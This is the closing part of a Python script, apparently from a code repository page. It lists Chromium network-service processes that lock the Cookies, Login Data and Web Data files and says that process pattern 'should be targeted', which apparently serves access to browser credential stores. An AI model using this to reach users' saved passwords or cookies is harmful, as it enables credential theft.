if network_count:
|
||||
print(f"│ ⚠️ {network_count} Network Service(s) holding file locks")
|
||||
|
||||
roots, children = build_process_tree(procs)
|
||||
|
||||
print("│")
|
||||
for root in sorted(roots, key=lambda x: x['create_time']):
|
||||
print_tree(root, children, indent=0)
|
||||
|
||||
print(f"└{'─'*69}")
|
||||
|
||||
# Summary
|
||||
print(f"\n📊 Summary:")
|
||||
print(f" Total Network Services: {total_network_services}")
|
||||
if total_network_services > 0:
|
||||
print(f" ⚠️ These processes hold locks on Cookies, Login Data, Web Data databases")
|
||||
print(f" The --utility-sub-type=network.mojom.NetworkService pattern should be targeted")
|
||||
|
||||
print()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
Reference in New Issue
Block a user